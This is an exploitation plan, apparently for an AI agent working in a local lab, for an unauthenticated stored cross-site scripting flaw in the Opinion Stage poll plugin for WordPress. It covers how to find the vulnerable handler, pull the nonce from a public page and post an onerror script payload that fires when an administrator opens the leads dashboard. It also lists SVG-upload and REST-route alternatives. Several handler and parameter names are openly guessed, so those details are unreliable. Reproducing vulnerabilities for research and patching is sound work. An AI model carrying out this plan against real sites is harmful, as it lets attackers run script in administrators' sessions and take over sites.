Exploitation Research Plan - Opinion Stage (Social Polls) Unauthenticated Stored XSS

1. Vulnerability Summary

The Poll, Survey & Quiz Maker Plugin by Opinion Stage (versions < 19.6.25) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because certain AJAX handlers registered with wp_ajax_nopriv_ prefixes allow unauthenticated users to submit data that is stored in the WordPress database (e.g., as options or post metadata) without sufficient sanitization. When this data is later rendered on the frontend or in the admin dashboard without proper escaping, the injected scripts execute.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: opinionstage_ajax_save_lead or opinionstage_save_poll_settings (inferred suspect based on plugin history and unauthenticated nature).
• Vulnerable Parameter: os_lead_data, opinionstage_poll_settings, or a generic payload parameter.
• Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
• Preconditions: The plugin must be active. A valid WordPress nonce for the specific AJAX action may be required, though many unauthenticated vulnerabilities in this plugin stem from missing nonce checks or publicly leaked nonces.

3. Code Flow

1. Entry Point: The attacker sends a POST request to admin-ajax.php with the action parameter set to a nopriv handler (e.g., opinionstage_ajax_save_lead).
2. Hook Registration: The plugin registers the hook in admin/opinionstage-functions.php or includes/opinionstage-ajax-handler.php:

   add_action( 'wp_ajax_nopriv_opinionstage_ajax_save_lead', 'opinionstage_ajax_save_lead' );
   

3. Processing: The handler function (e.g., opinionstage_ajax_save_lead()) retrieves input from $_POST or $_REQUEST.
4. Storage (Sink): The raw, unsanitized input is stored using update_option() or $wpdb->insert().
5. Rendering: When an admin views the "Leads" or "Results" page, or when the poll is rendered on the frontend, the plugin retrieves the data and echoes it:

   echo $lead_data; // Missing esc_html() or esc_attr()
   

4. Nonce Acquisition Strategy

The plugin typically localizes script data containing nonces for its AJAX operations.

1. Shortcode Identification: The plugin uses shortcodes like [opinionstage_poll], [opinionstage_survey], or [opinionstage_quiz].
2. Test Page Setup: Create a public page containing the shortcode to ensure the plugin's JavaScript and nonces are enqueued.

   wp post create --post_type=page --post_status=publish --post_title="Poll Page" --post_content='[opinionstage_poll id="1"]'
   

3. Extraction:
   • Navigate to the newly created page.
   • Use browser_eval to search for the nonce in the global JavaScript scope.
   • Suspected Variable: window.opinionstage_vars or window.os_ajax_data.
   • Exact Key: window.opinionstage_vars?.nonce or window.os_ajax_data?.nonce.

5. Exploitation Strategy

Step 1: Discover Active AJAX Actions

Search the plugin directory for wp_ajax_nopriv_ to identify the exact vulnerable handler.

grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/

Step 2: Extract Nonce

Use the browser to fetch the nonce from a page where the plugin is active.

• URL: http://localhost:8080/poll-page/
• JS Command: browser_eval("window.opinionstage_vars.nonce")

Step 3: Inject Payload

Send a POST request to admin-ajax.php.

• Target: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload:

  action=opinionstage_ajax_save_lead&
  nonce=[EXTRACTED_NONCE]&
  os_lead_data={"email":"<img src=x onerror=alert(document.domain)>", "name":"Attacker"}
  

  (Note: Parameter names like os_lead_data are inferred; verify against the grep results from Step 1).

Step 4: Trigger Execution

Log in as an administrator and navigate to the plugin's "Leads" or "Responses" dashboard (e.g., wp-admin/admin.php?page=opinionstage-leads).

6. Test Data Setup

1. Plugin Installation: Install and activate social-polls-by-opinionstage < 19.6.25.
2. Poll Creation: Create at least one dummy poll via the plugin interface so the shortcode has a valid ID.
3. Public Page: Create a page with the shortcode [opinionstage_poll id="<ID>"] to trigger the script enqueuing.

7. Expected Results

• The AJAX request should return a successful response (e.g., {"success":true} or 1).
• When the administrator views the injected data in the dashboard, a JavaScript alert alert(document.domain) should trigger.

8. Verification Steps

1. DB Check: Verify the payload is stored in the database.

   wp db query "SELECT option_value FROM wp_options WHERE option_name LIKE '%opinionstage%';" | grep "onerror"
   # OR check postmeta if stored as leads
   wp post meta list <POST_ID>
   

2. Frontend Check: Check the response of the admin page where leads are displayed.

   # Use http_request to get the admin page content (requires admin cookies)
   # Then grep for the payload
   grep "<img src=x onerror=alert(document.domain)>"
   

9. Alternative Approaches

• Stored XSS via Settings Callback: If opinionstage_ajax_save_lead is not vulnerable, check for opinionstage_save_poll_settings. This endpoint might allow overwriting global plugin settings (e.g., the API Key or Plugin Title) that are rendered in the admin header.
• REST API: Check if the plugin registers any REST routes without proper permission_callback.

  grep -r "register_rest_route" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/
  

• SVG Upload: If the plugin allows uploading images for poll questions, attempt to upload an SVG file containing a <script> tag.